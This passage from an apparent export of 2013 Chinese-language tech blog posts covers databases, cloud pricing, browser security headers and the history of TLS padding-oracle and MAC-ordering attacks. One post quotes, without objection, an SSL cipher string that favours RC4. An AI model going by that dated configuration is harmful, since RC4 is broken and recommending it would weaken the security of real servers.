<code>substr()</code> 達到相同的效果，而且還有其他 function 可以用，花樣更多。\r\n\r\n兩個都是 MySQL 做不到 (或是做不好)，但 PostgreSQL 做的不錯的。一般在 MySQL 要達到 PostgreSQL 的這兩個功能需要另外開一個欄位，在裡面儲存去正規化後的值，再對這個欄位 index。\r\n\r\n第三個是講 defrag 的事情，這部份 MySQL 也可以用第三方的工具 <a href=\"http://www.percona.com/software/percona-toolkit\">Percona Toolkit</a> 搞定。第四個講 PostgreSQL 的 Write-Ahead Log，有點像是 MySQL 的 binlog。最後一個講 <a href=\"http://www.python.org/\">Python</a> 上的 <a href=\"http://initd.org/psycopg/\">psycopg2</a>。\r\n\r\n看來看去就是 index 那塊最明顯。可以直接減少去正規化的欄位...",
    "title": "Instagram 說明用 PostgreSQL 的五個優點..."
  },
  {
    "id": "3146",
    "body": "在 <a href=\"https://www.wikimedia.org/\">Wikimedia</a> 的官方網誌上看到 Wikimedia 的主機房將從 Tampa, Florida 搬遷到 Ashburn, Virginia (當然，這包括 <a href=\"https://www.wikipedia.org/\">Wikipedia</a>)：「<a href=\"http://blog.wikimedia.org/2013/01/19/wikimedia-sites-move-to-primary-data-center-in-ashburn-virginia/\">Wikimedia sites to move to primary data center in Ashburn, Virginia</a>」。\r\n\r\n當初機房在 Florida 的原因是... Jimmy Wales 住附近 XDDD\r\n<blockquote>A major reason for choosing Tampa, Florida as the location of the primary data center in 2004 was its proximity to founder Jimmy Wales' home, at a time when he was much more involved in the technical operations of the site.</blockquote>\r\n搬遷到 Virginia 除了有比較穩定的網路以外，還包括了天氣因素 (颶風比較少)。\r\n\r\n2011 年 11 月時，<code>bits.wikimedia.org</code> (主要是放 CSS 與 JavaScript) 已經改用新機房服務，2012 年 2 月時成功將 read-only page 拆到 cache server 上，同年 4 月時 <code>upload.wikimedia.org</code> (多媒體資料，包括使用者上傳的部份) 也導到新機房。\r\n\r\n這幾個改變讓無法 cache 而丟到後端 <a href=\"http://httpd.apache.org/\">Apache</a> 與 <a href=\"http://dev.mysql.com/\">MySQL</a> 的量只剩下 10%，這次打算把這 10% 的量從 Florida 搬到 Virginia。\r\n\r\n文末也說明了目前機器數量與 PV：\r\n<blockquote>The Wikimedia Foundation currently operates a total of about 885 servers, and serves about 20 billion page views a month, on a non-profit budget that relies almost entirely on donations from readers.</blockquote>\r\n全世界第六大的網站，每天約六億次 PV，現在只用了 885 台 server :p",
    "title": "維基百科機房搬遷 (從佛羅里達州搬到維吉尼亞州)"
  },
  {
    "id": "3147",
    "body": "在 <a href=\"http://research.google.com/\">Google Research</a> 上看到 <a href=\"https://www.google.com/\">Google</a> 針對字串處理最佳化問題所發的論文：「<a href=\"http://research.google.com/pubs/archive/40679.pdf\">Automated Locality Optimization Based on the Reuse Distance of String Operations</a> (PDF)」。\r\n\r\n大原則是想辦法善用 L2/L3 cache，這沒什麼特別的，比較有趣的地方是解決方案，除了自動化的方式外，另外還有工具「提醒」撰寫程式的人，另外還有一些數據以及 code name 可以看...",
    "title": "Google 對字串處理的最佳化"
  },
  {
    "id": "3148",
    "body": "<a href=\"http://www.nasa.gov/\">NASA</a> 用雷射光將灰階「<a href=\"https://zh.wikipedia.org/wiki/%E8%92%99%E5%A8%9C%E4%B8%BD%E8%8E%8E\">蒙娜麗莎</a>」傳送到月球軌道上的 LOLA (<a href=\"http://lunar.gsfc.nasa.gov/lola.html\">Lunar Orbiter Laser Altimeter</a>，看起來是台描繪地表用的儀器？)：「<a href=\"http://www.nasa.gov/mission_pages/LRO/news/mona-lisa.html\">NASA Beams Mona Lisa to Lunar Reconnaissance Orbiter at the Moon</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/6AWQDzm.jpg\" alt=\"Lunar Orbiter Laser Altimeter\" />\r\n\r\n傳輸速度是 300bits/sec (這數字讓人真感動 XD)，傳送 152x200 的 4096 灰階圖片。這次測試其中一個目的是了解地球大氣層對光訊號的影響，可以看到左邊的 raw data 與右邊靠 2/3 <a href=\"https://en.wikipedia.org/wiki/Reed%E2%80%93Solomon_error_correction\">RS code</a> 修正的結果：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/a4BAi8G.webp\" /><img src=\"https://i.gslin.com/imgur/a4BAi8G.jpg\" alt=\"To clean up transmission errors introduced by Earth's atmosphere (left), Goddard scientists applied Reed-Solomon error correction (right), which is commonly used in CDs and DVDs. Typical errors include missing pixels (white) and false signals (black). The white stripe indicates a brief period when transmission was paused.\" /></picture>\r\n\r\n不過好像沒提到用多大台的雷射打到月球上... (雷射砲？)",
    "title": "NASA 用雷射光傳送「蒙娜麗莎」圖片到月球上..."
  },
  {
    "id": "3150",
    "body": "在 <a href=\"http://www.raspberrypi.org/\">Raspberry Pi</a> 的官方網站上提到可以在 Raspberry Pi 上跑 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 的消息：「<a href=\"http://www.raspberrypi.org/archives/3094\">FreeBSD is here!</a>」。\r\n\r\n不過這是 community (unofficial) 版本，而且是 10-CURRENT，維護者自己也說這還不是 production-ready，主要是給大家嘗鮮用...\r\n\r\n目前如果要拿來做一些正事，還是以 <a href=\"http://www.linux.org/\">Linux</a> 為主吧，畢竟是主力平台。",
    "title": "在 Raspberry Pi 上跑 FreeBSD..."
  },
  {
    "id": "3151",
    "body": "看到 <a href=\"http://aws.amazon.com/\">AWS</a> 推出新的 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> instance：「<a href=\"http://aws.typepad.com/aws/2013/01/ec2-for-in-memory-computing-the-high-memory-cluster-eight-extra-large.html\">EC2 for In-Memory Computing - The High Memory Cluster Eight Extra Large Instance</a>」，看完這個 instance 的規格笑了出來 XDDD\r\n\r\n120GB SSD 兩顆 (所以是 240GB)，加上 244GB RAM，結果記憶體比 SSD 空間大，應用程式一定得分層利用... XDDD\r\n\r\n<a href=\"http://www.daemonology.net/\">Colin Percival</a> 開了台 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 9.1 起來<a href=\"http://pastebin.com/SCMUJNDt\">測試</a>，可以順便看到一些硬體資訊。\r\n\r\n目前還沒有 Reserved Instances 可以買，所以依照目前的價錢 USD$3.50/hour，一年大約是 90 萬新台幣，而這金額差不多可以直接買一台了... 所以這個 instance 的定位是在非長期的大量運算？不過依照 AWS 的慣例，過陣子應該還是會出 Reserved Instances 讓需要的人買...\r\n\r\n不過這也是目前記憶體最多的機器，如果下次看到有文章寫「因為資料超過 244GB，所以資料庫效能炸掉」的訊息，就知道發生什麼事情了 XDDD",
    "title": "AWS 歷史上第一台 RAM 比儲存空間多的 instance..."
  },
  {
    "id": "3153",
    "body": "<a href=\"http://ci.testling.com/\">testling-ci</a> 是個測試服務，只要在 <code>package.json</code> 裡把要測的環境要求寫好，然後 <a href=\"https://github.com/\">GitHub</a> 上的 web hook 設好，剩下就是驗收了...\r\n\r\n網站的維護者在「<a href=\"http://www.catonmat.net/blog/howto-write-testling-ci-tests/\">How to write Testling-CI tests</a>」這篇給了一個很簡單的範例，拿一個 IE9+ 才支援的語法實際測試所有的瀏覽器，然後有個 badge 讓你掛：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/l2VfniG.webp\" /><img src=\"https://i.gslin.com/imgur/l2VfniG.jpg\" alt=\"\" /></picture>\r\n\r\n對於 open source 軟體應該是很方便，是 <a href=\"https://travis-ci.org/\">Travis CI</a> 的另外一個選擇 :p",
    "title": "用 testling-ci 測試各種瀏覽器的結果..."
  },
  {
    "id": "3154",
    "body": "在 <a href=\"http://www.osnews.com/\">OSnews</a> 上看到 <a href=\"https://developers.google.com/native-client/\">NaCl</a> 要支援 ARM 了，在這之前的版本都只能跑在 x86 family 上面：「<a href=\"http://www.osnews.com/story/26729/Native_client_now_supports_ARM\">Native client now supports ARM</a>」。\r\n\r\n另外在 <a href=\"http://blog.chromium.org/\">The Chromium Blog</a> 上也提到這件事情：「<a href=\"http://blog.chromium.org/2013/01/native-client-support-on-arm.html\">Native Client support on ARM</a>」。\r\n\r\n下一個預定要完成的計畫是 <a href=\"http://www.chromium.org/nativeclient/pnacl/building-and-testing-portable-native-client\">Portable Native Client</a> (PNaCl)，希望用 <a href=\"http://llvm.org/\">LLVM</a> 一統江湖... XD",
    "title": "NaCl (Native Client) 總算要支援 ARM 了..."
  },
  {
    "id": "3155",
    "body": "這一樣是在 <a href=\"http://www.osnews.com/\">OSnews</a> 上看到的，<a href=\"http://www.robovm.org/\">RoboVM</a> 釋出第一版 0.0.1：「<a href=\"http://www.osnews.com/story/26728/RoboVM_0_0_1_released\">RoboVM 0.0.1 released</a>」，官方的新聞稿在：「<a href=\"http://blog.robovm.org/2013/01/robovm-001-released.html\">RoboVM 0.0.1 released — iOS && Java == true</a>」。\r\n\r\nRoboVM 能夠將 Java bytecode 轉成 x86 或 ARM 的 native code，目前以 Android runtime class 為主。這葫蘆裡想要賣什麼藥應該很清楚...\r\n\r\n我覺得這是個「有趣」的專案... 但不覺得會發展起來，畢竟兩個平台不是只有 code 的差異而已 :o",
    "title": "RoboVM：用 Java 開發 iOS 程式..."
  },
  {
    "id": "3157",
    "body": "現在的 browser 支援一堆 HTTP Header 規格，用來防堵各種安全性問題。在「<a href=\"https://github.com/twitter/secureheaders\">SecureHeaders</a>」看到一包 <a href=\"http://rubygems.org/\">Ruby Gems</a>，可以針對這堆規格一次搞定，包括了：\r\n<ul>\r\n\t<li>Content Security Policy (CSP)，<a href=\"https://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html\">CSP 1.1</a>。</li>\r\n\t<li>HTTP Strict Transport Security (HSTS)，<a href=\"https://tools.ietf.org/html/rfc6797\">HSTS Spec</a>。</li>\r\n\t<li>X-Frame-Options (XFO)，<a href=\"https://tools.ietf.org/html/draft-ietf-websec-x-frame-options-00\">HTTP Header X-Frame-Options</a>。</li>\r\n\t<li>X-XSS-Protection，<a href=\"http://msdn.microsoft.com/en-us/library/dd565647(v=vs.85).aspx\">Cross-Site Scripting Filter</a>。</li>\r\n\t<li>X-Content-Type-Options，<a href=\"http://msdn.microsoft.com/en-us/library/ie/gg622941(v=vs.85).aspx\">MIME-Handling Change: X-Content-Type-Options: nosniff (Windows)</a>。</li>\r\n</ul>\r\n就算不是用 <a href=\"http://www.ruby-lang.org/\">Ruby</a> 的人也可以拿文件說明的部份當入口，評估看看系統有哪些地方可以加強。",
    "title": "送出 ooxx HTTP Header 提升安全性..."
  },
  {
    "id": "3158",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 上看到 <a href=\"http://www.cisco.com/\">Cisco</a> 將 Home Networking Business Unit 部門賣給 <a href=\"http://www.belkin.com/\">Belkin</a>，其中包括 <a href=\"http://www.linksys.com/\">Linksys</a> 這個品牌：「<a href=\"http://it.slashdot.org/story/13/01/24/2347240/cisco-exits-the-consumer-market-sells-linksys-to-belkin\">Cisco Exits the Consumer Market, Sells Linksys To Belkin</a>」。\r\n\r\nBelkin 的新聞稿在「<a href=\"http://www.belkin.com/us/pressreleases/8798355522620\">BELKIN ANNOUNCES INTENT TO ACQUIRE CISCO’S HOME NETWORKING BUSINESS UNIT</a>」，Cisco 的新聞稿在「<a href=\"http://blogs.cisco.com/news/belkin-announces-intent-to-acquire-linksys/\">Belkin Announces Intent to Acquire Linksys</a>」。\r\n\r\nLinksys 最有名的產品應該是大家都愛買的 <a href=\"https://en.wikipedia.org/wiki/Linksys_WRT54G_series\">WRT54G 系列</a>，被大家拿來刷韌體刷的很有名啊... XD",
    "title": "Cisco 將 Linksys 賣給 Belkin..."
  },
  {
    "id": "3159",
    "body": "最後一天還在日本，先來整理一下這九天幹了哪些事情... XD\r\n\r\n已經排進行程的是 1/19 與 1/20 去水樹奈奈的 NANA MIZUKI LIVE GRACE 2013 -OPUS Ⅱ- (報導可以參考『<a href=\"http://www.anisong.org/2013/01/20/13994\">20130120 – 水樹奈々「LIVE GRACE 2013 －OPUS 2－」完美落幕！新一年夏巡「七夕」於故鄉愛媛武道館展開！</a>』這篇)，1/23 去 Kalafina 5th Anniversary LIVE SELECTION 2009-2012 (報導可以參考『<a href=\"http://www.anisong.org/2013/01/24/14033\">20130124– 一夜限定演唱會及Live Tour舉行決定！Kalafina第四張專輯「Consolation」將於三月二十日發售</a>』這篇)。\r\n\r\n到日本後又看到<a href=\"http://ameblo.jp/lisa-komine/\">コミネリサ</a> 1/24 要在<a href=\"http://mahiru-yoru.com/\">真昼の月 夜の太陽</a>表演 (參考「<a href=\"http://ameblo.jp/lisa-komine/entry-11456351192.html\">真昼の月夜の太陽</a>」這篇)，就再插了一檔進去...\r\n\r\n中間還遇到同事出差，另外遇到<a href=\"http://www.in2home.org/\">色兔子</a>跑來東京玩，然後吃一些奇怪的東西... XD\r\n\r\n說到吃的，來日本不知道有哪些可以吃的，倒是宵夜一直去吃<a href=\"http://www.ichiran.co.jp/\">一蘭</a>，次數多到讓同事抱怨了... XD\r\n\r\n差不多就先寫到這邊，回台灣看看有哪些細節覺得可以寫的再寫吧 :o",
    "title": "日本行：1/19～1/27 (人還在日本... XD)"
  },
  {
    "id": "3160",
    "body": "在「<a href=\"http://competitions.cr.yp.to/disasters.html\">Disasters</a>」這邊列了不少對稱式加密系統 (secret-key cryptography) 爆炸的歷史，其中提到了很多 Encrypt 與 MAC 結合時的問題 (<a href=\"https://en.wikipedia.org/wiki/Authenticated_encryption\">Authenticated encryption</a>)。另外 <a href=\"http://www.daemonology.net/\">Colin Percival</a> 在 2009 年的時候有寫了一篇為什麼要用 Encrypt-then-MAC 的文章：「<a href=\"http://www.daemonology.net/blog/2009-06-24-encrypt-then-mac.html\">Encrypt-then-MAC</a>」，當時 Colin Percival 寫的時候大家還是不能理解，但現在回頭看上面的爆炸歷史應該就清楚很多了 XDDD\r\n\r\nSSH 協定是使用 Encrypt-and-MAC (傳輸「密文」與「明文的 MAC 值」)。在 2008 年時 SSH 使用 CBC 模式時會有安全問題：對 128bits CBC mode system (像是 aes128-cbc)，任意位置的 32bits 有 2<upper>-18</upper> 的機會可以解出原文。(<a href=\"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5161\">CVE-2008-5161</a>，論文是「<a href=\"http://modular.math.washington.edu/home/wstein/www/home/malb/papers/plaintext_recover_attacks_against_ssh.pdf\">Plaintext Recovery Attacks Against SSH</a>」)\r\n\r\nTLS 1.0 (SSLv3) 使用 MAC-then-Encrypt (傳輸「明文與明文的 MAC 值」加密後的結果)。1999 年就知道這個方法不可靠，不過到了 2011 年時才被拿出來示範，也就是 <a href=\"https://en.wikipedia.org/wiki/BEAST_(computer_security)\">BEAST attack</a>。(<a href=\"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3389\">CVE-2011-3389</a>，在 <a href=\"http://www.ekoparty.org/\">ekoparty Security Conference</a> 上的「表演」：「BEAST: Surprising crypto attack against HTTPS」，<a href=\"http://www.ekoparty.org/2011/juliano-rizzo.php\">連結1</a>、<a href=\"http://www.ekoparty.org/2011/thai-duong.php\">連結2</a>)\r\n\r\n<a href=\"http://www.openssl.org/\">OpenSSL</a> 與 <a href=\"http://www.gnutls.org/\">GnuTLS</a> 所實作的 DTLS 在 2011 年也被炸到，其中 OpenSSL 是 100% plaintext recovery，GnuTLS 是 4%。(<a href=\"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0390\">CVE-2012-0390</a>，論文是「<a href=\"http://www.isg.rhul.ac.uk/~kp/dtls.pdf\">Plaintext-Recovery Attacks Against Datagram TLS</a>」)\r\n\r\n而 Encrypt-then-MAC (傳輸「密文」與「密文的 MAC」) 是三者裡面最不容易出包的作法，而且被證明 <a href=\"https://en.wikipedia.org/wiki/Provable_security\">Provable security</a>：Encrypt 與 MAC 所用的 crypto system 的安全強度不會因為 Encrypt-then-MAC 而減少。而這也是 IPSec 的作法。\r\n\r\n附帶一提，其中 Provable security 這個詞，並非表示「可被證明是安全的」，在「<a href=\"http://blog.cryptographyengineering.com/2013/01/in-defense-of-provable-security.html\">In defense of Provable Security</a>」這篇文章裡有比較完整的說明。通常是指安全強度不會因為這個系統而降低：以 Encrypt-then-MAC 的例子來說，如果 Encrypt 的部份用 DES，或是 MAC 用 CRC32，那麼 Encrypt-then-MAC 並不會提供更強的安全性...\r\n\r\n總而言之，MAC-then-Encrypt 與 Encrypt-and-MAC 的方式要小心才能避免各種攻擊 (像是不能用 CBC mode)，而 Encrypt-then-MAC 可以讓設計協定的人放鬆到「只要 Encrypt 與 MAC 都夠強」系統就沒問題。在 <a href=\"https://en.wikipedia.org/wiki/Authenticated_encryption\">Authenticated encryption</a> 裡提到的 ISO/IEC 19772:2009 支援六個模式，有些有專利問題，有些演算法看起來就很複雜 (於是就容易出包)，其中 Encrypt-then-MAC 看起來是個還不錯的方案...",
    "title": "對稱式加密系統的爆炸歷史 (Authenticated encryption 的問題)"
  },
  {
    "id": "3161",
    "body": "看到 Ash Wu 貼的「<a href=\"http://unhandledexpression.com/2013/01/25/5-easy-tips-to-accelerate-ssl/\">5 easy tips to accelerate SSL</a>」：\r\n\r\n<blockquote class=\"twitter-tweet\"><p><a href=\"http://t.co/8KlOxu7p\" title=\"http://unhandledexpression.com/2013/01/25/5-easy-tips-to-accelerate-ssl/\">unhandledexpression.com/2013/01/25/5-e…</a></p>&mdash; Ash Wu (@hSATAC) <a href=\"https://twitter.com/hSATAC/status/295718711342534656\">January 28, 2013</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n先列出原作者在文章裡給的結論：\r\n<blockquote><code>ALL:!ADH:!EXP:!LOW:!RC2:!3DES:!SEED:RC4+RSA:+HIGH:+MEDIUM</code></blockquote>\r\n不過，現在考慮 SSL 效能以行動平台為主 (因為桌機用軟體計算也超快)，而行動平台中 iOS 可以對 AES 與 SHA1 硬體加速 (iOS 4.3+)，<a href=\"http://www.android.com/\">Android</a> 一般的情況下看起來沒得用，所以就自己取捨啦...",
    "title": "加快 SSL 加解密速度..."
  },
  {
    "id": "3162",
    "body": "在「<a href=\"http://www.mysqlperformanceblog.com/2013/01/29/feature-preview-compact-backups-in-percona-xtrabackup/\">Feature preview: Compact backups in Percona XtraBackup</a>」看到的，2.1 版會導入 compact backup 節省備份出來的空間 (目前是 2.0)：\r\n<blockquote>As you may know InnoDB PK (Primary Key) contains all data, and all secondary indexes are only subset of columns of Primary Key. So in theory we can store only PK, and re-build secondary indexes as we need. Well, now it is possible not only in theory.</blockquote>\r\nsecondary index 可以事後再建，所以有兩種表格會省下很多資源：\r\n<ul>\r\n\t<li>Index 很多的表格。</li>\r\n\t<li>PK 欄位空間很大的表格 (像是用 VARCHAR(255) 當 PK)。</li>\r\n</ul>\r\n等出了再來研究看看對 <a href=\"http://www.percona.com/software/percona-xtradb-cluster\">Percona XtraDB Cluster</a> (PXC) 重新同步可以加快多少...",
    "title": "用 Percona XtraBackup 備份時用 compact 模式節省空間..."
  },
  {
    "id": "3163",
    "body": "標題是「<a href=\"http://www.troyhunt.com/2013/01/102-simple-steps-for-installing-and.html\">102 simple steps for installing and configuring a new Windows 8 machine</a>」的文章，本來以為是笑話，結果右邊寫著：\r\n<blockquote>Software architect and Microsoft MVP, you'll usually find me writing about security concepts and process improvement in software delivery.</blockquote>\r\n所以...？(認真的？)\r\n\r\n看起來不只裝了 Windows 8 啊，還有一堆軟體...",
    "title": "「102 步」簡單安裝完 Windows 8... XDDD"
  },
  {
    "id": "3164",
    "body": "在「<a href=\"http://blog.programmableweb.com/2013/01/29/introducing-the-official-nobel-prize-api/\">Nobel Prize Gets Official API</a>」看到<a href=\"http://www.nobelprize.org/\">諾貝爾獎</a>的網站提供 API，讓人存取歷年諾貝爾獎得主的資訊了 XDDD\r\n\r\n官方的新聞稿在「<a href=\"http://www.nobelprize.org/press/nobelmedia/#/pressrelease/view/open-data-about-the-nobel-prize-now-available-832152\">Open Data about the Nobel Prize now Available</a>」這邊，API 資訊則在「<a href=\"http://www.nobelprize.org/nobel_organizations/nobelmedia/nobelprize_org/developer/\">Developer Zone</a>」這邊。\r\n\r\n舉例來說，<a href=\"http://api.nobelprize.org/v1/prize.json?year=1901\"><code>http://api.nobelprize.org/v1/prize.json?year=1901</code></a> 可以抓出 1901 年諾貝爾獎得主的資料 (JSON 格式)。\r\n\r\n而除了 JSON API 外，另外還在 <a href=\"http://data.nobelprize.org/\">data.nobelprize.org</a> 提供 <a href=\"https://en.wikipedia.org/wiki/Linked_data\">Linked Data</a> 格式的資源。\r\n\r\n資料不多，但蠻有趣的...",
    "title": "諾貝爾獎的網站有 API 了..."
  },
  {
    "id": "3165",
    "body": "剛剛看到 <a href=\"http://www.percona.com/software/percona-xtradb-cluster\">Percona XtraDB Cluster</a> 5.5.29-23.7.1 的公告了：「<a href=\"http://www.mysqlperformanceblog.com/2013/01/30/announcing-percona-xtradb-cluster-5-5-29-23-7-1/\">Announcing Percona XtraDB Cluster 5.5.29-23.7.1</a>」。\r\n\r\n除了修正 bug 外，有很多是讓設定變得簡單的調整 (變得比較不容易中地雷，或是錯誤訊息比較清楚，而非靠 <a href=\"https://www.google.com/\">Google</a> 找到答案)，像是：\r\n<blockquote>Variable wsrep_node_name was initialized before the glob_hostname, which lead to empty value for wsrep_node_name if it wasn’t set explicitly. Bug fixed #1081389 (Alex Yurchenko).</blockquote>\r\n<blockquote>Percona XtraDB Cluster would crash when binlog_format was set to STATEMENT. This was fixed by introducing the warning message. Bug fixed #1088400 (Seppo Jaakola).</blockquote>\r\n<blockquote>Percona XtraDB Cluster would crash if the node’s own address would be specified in the wsrep_cluster_address variable. Bug fixed #1099413 (Alexey Yurchenko).</blockquote>\r\n該來安排測試了...",
    "title": "Percona XtraDB Cluster (PXC) 總算出 5.5.29 版本了..."
  },
  {
    "id": "3166",
    "body": "在「<a href=\"http://www.infoq.com/news/2013/01/jdk6-retirement\">Oracle Will Stop Providing Security Updates for Java 6 Next Month</a>」這邊看到的，Java SE 6 預定在 2013/02/19 對外發佈最後一次安全性更新，之後只有付費購買服務的單位才能透過 My Oracle Support 取得更新。\r\n\r\n另外更新程式提供了 Java SE 6 升級到 Java SE 7 的功能，不過當然不保證你跑的程式在 Java SE 7 上會動，還是要花時間去測試才知道會不會爆炸 :p\r\n\r\n照「<a href=\"https://en.wikipedia.org/wiki/Java_version_history\">Java version history</a>」上的紀錄，Java SE 6 是 2006/12/11 發行的，所以也六年多了... 而 Java SE 7 是在 2011/07/28 發行的，是目前最新的版本。",
    "title": "Java SE 6 下個月將停止提供安全更新..."
  },
  {
    "id": "3167",
    "body": "在「<a href=\"http://aws.typepad.com/aws/2013/02/ec2s-m3-global-reduced-ec2-bandwidth.html\">EC2's M3 Instances Go Global; Reduced EC2 Charges and Lower Bandwidth Prices</a>」看到 <a href=\"http://aws.amazon.com/\">AWS</a> 又調降價錢了，這次調降是圍繞在 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> 上面。\r\n\r\n首先是第二代高記憶體用量的機器 (代號 M3) 從本來只有 us-east-1 可以用，現在在全世界都可以用了。然後高 CPU 用量與高記憶體用量的機器的費用也降價了，不過主要是將在非亞洲區。\r\n\r\n另外一個蠻特別的降價是 AWS 自家機房內的傳輸頻寬，這包括跨區域以及 <a href=\"http://aws.amazon.com/cloudfront/\">CloudFront</a>！\r\n\r\n舉例來說，本來 us-east-1 傳資料到 us-west-1 是依照 us-east-1 Internet outbound traffic 算錢 (USD$0.12/GB for us-east-1)，現在 AWS 則是將這種流量視為另外一種內部使用，而給予不同的收費標準 (USD$0.02/GB for us-east-1)。同理，CloudFront 到 EC2 或 <a href=\"http://aws.amazon.com/s3/\">S3</a> 上抓資料也是類似的算法。\r\n\r\n這對於 AWS-based 提供服務的公司來說應該是很不錯的消息？因為應該有些用戶是從 us-west-{1,2} (美西) 或是 eu-west-1 (歐洲) 連到大本營 us-east-1；而對 CloudFront 的節省應該有限，因為 cache 後就不會往後面再要資料了？",
    "title": "AWS 又調降價錢了..."
  },
  {
    "id": "3169",
    "body": "在「<a href=\"http://w3techs.com/blog/entry/the_png_image_file_format_is_now_more_popular_than_gif\">The PNG image file format is now more popular than GIF</a>」這邊看到，針對 Top 1000 網站統計發現 PNG 的使用率 62.4% 比 GIF 的 62.3% 高了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/4H54TcV.webp\" /><img src=\"https://i.gslin.com/imgur/4H54TcV.jpg\" alt=\"\" /></picture>\r\n\r\n查了一些資料發現，雖然 GIF 的專利都已經過期很久了 (<a href=\"https://en.wikipedia.org/wiki/Graphics_Interchange_Format#Unisys_and_LZW_patent_enforcement\">Unisys and LZW patent enforcement</a>)，但 PNG 還是有很多功能與支援度的問題，最主要的兩個：(<a href=\"https://en.wikipedia.org/wiki/Portable_Network_Graphics#Web_browser_support_for_PNG\">Web browser support for PNG</a>)\r\n<ul>\r\n\t<li>不支援動畫。</li>\r\n\t<li>IE 在 IE8 以及之前的版本對於 PNG 的進階功能 (大多圍繞在 Gamma 上) 有一卡車的問題。</li>\r\n</ul>\r\n第一點實在很傷啊，大家都愛動態 GIF... XDDD\r\n\r\n<a href=\"http://ak47.tumblr.com/post/42014986013\"><img src=\"https://i.gslin.com/imgur/OwDXtSn.gif\" alt=\"\" /></a>",
    "title": "網站上 PNG 的使用率超越 GIF..."
  },
  {
    "id": "3174",
    "body": "這篇與「<a href=\"http://blog.gslin.org/archives/2013/01/28/3160/%E5%B0%8D%E7%A8%B1%E5%BC%8F%E5%8A%A0%E5%AF%86%E7%B3%BB%E7%B5%B1%E7%9A%84%E7%88%86%E7%82%B8%E6%AD%B7%E5%8F%B2-authenticated-encryption-%E7%9A%84%E5%95%8F%E9%A1%8C/\">對稱式加密系統的爆炸歷史 (Authenticated encryption 的問題)</a>」這篇相關，建議可以一起看一看。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\">TLS</a> (Transport Layer Security)，前身是 SSL (Secure Sockets Layer)，是目前 HTTPS 所使用的加密協議。發展的順序上是 SSLv2、SSLv3、TLSv1、TLSv1.1、TLSv1.2。\r\n\r\n然後有兩篇文章可以看：\r\n<ul>\r\n\t<li><a href=\"http://www.skullsecurity.org/blog/2013/padding-oracle-attacks-in-depth\">Padding oracle attacks: in depth</a></li>\r\n\t<li><a href=\"http://blog.cryptographyengineering.com/2013/02/attack-of-week-tls-timing-oracles.html\">Attack of the week: TLS timing oracles</a></li>\r\n</ul>\r\n第一篇文章講 Padding oracle attack，第二篇文章是酸 SSL/TLS 的修正愈修愈歪... XD\r\n\r\n像 <a href=\"https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\">AES</a> 這類的 <a href=\"https://en.wikipedia.org/wiki/Block_cipher\">block cipher</a> 在加密或解密時會要求切齊 block size，以 AES 的要求就是 128bits (16 bytes)。\r\n\r\n而對於不齊的資料要怎麼加密呢？其中一個方法是 PKCS#7：(圖片取自<a href=\"http://blog.cryptographyengineering.com/2013/02/attack-of-week-tls-timing-oracles.html\">第二篇文章</a>)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LWaDSsF.webp\" /><img src=\"https://i.gslin.com/imgur/LWaDSsF.jpg\" alt=\"Padding\" /></picture>\r\n\r\n要想辦法補齊 128bits (16bytes)，如果像上圖需要補 7bytes 進去，就都補上 <code>x07</code> (剛好就是補上長度)，另外在最後面會補上 padding 的長度，而問題出就出在這個設計先天就有缺陷：在 SSL/TLS 所使用的 MAC-then-Encrypt 中，MAC 只計算原文的值，沒有保護到 padding 的部份，於是就可以針對 padding 的部份想辦法找到洞鑽。\r\n\r\npseudo code 可能是這樣：\r\n<pre>// Decrypt to plaintext + mac + padding\r\n$plaintext_mac_padding = decrypt($ciphertext);\r\nif (NULL != $plaintext_mac_padding) {\r\n\r\n    // Now decode padding part\r\n    $plaintext_mac = decode_padding($plaintext_mac_padding, $padding_length);\r\n    if (NULL != $plaintext_mac) {\r\n\r\n        // Now check MAC part\r\n        $plaintext = check_mac(plaintext_mac);\r\n        if (NULL != $plaintext) {\r\n\r\n            // Now it's okay\r\n        }\r\n    }\r\n}</pre>\r\n攻擊者亂改 $ciphertext 會導致解出來的 padding 也亂掉，但早期的 SSL 會回傳「padding error」這種對攻擊者有利的資訊，而導致攻擊者可以利用這個資訊想辦法得知更多內容。\r\n\r\n而 TLS 並沒有從根本改善，而是試著加上機制補西牆：當遇到錯誤時就跳過，不要傳回錯誤資訊。\r\n\r\n但因為攻擊者亂改封包造成 <code>decode_padding()</code> 會失敗，而沒有呼叫到 <code>check_mac()</code>。這導致了大量的計算時間差與能量差，而使得攻擊者可以藉由這些資訊而得知是否成功。而官方在 TLSv1.2 的建議是再補上機制來補洞：\r\n<blockquote>In general, the best way to do this is to compute the MAC even if the padding is incorrect, and only then reject the packet. For instance, if the pad appears to be incorrect, the implementation might assume a zero-length pad and then compute the MAC.</blockquote>\r\n而官方認為雖然這樣還是有 timing channel，但已經小到會被雜訊覆蓋，所以「應該」可以解決問題：\r\n<blockquote>This leaves a small timing channel, since MAC performance depends to some extent on the size of the data fragment, but it is not believed to be large enough to be exploitable, due to the large block size of existing MACs and the small size of the timing signal.</blockquote>\r\n於是，只要覺得「應該安全吧」，就會「應該會被破」：「<a href=\"http://www.isg.rhul.ac.uk/tls/\">Lucky Thirteen: Breaking the TLS and DTLS Record Protocols</a>」：\r\n<blockquote>The attacks apply to all TLS and DTLS implementations that are compliant with TLS 1.1 or 1.2, or with DTLS 1.0 or 1.2. They also apply to implementations of SSL 3.0 and TLS 1.0 that incorporate countermeasures to previous padding oracle attacks. Variant attacks may also apply to non-compliant implementations.</blockquote>\r\n這 SSL/TLS 的設計讓人補到快起笑了... 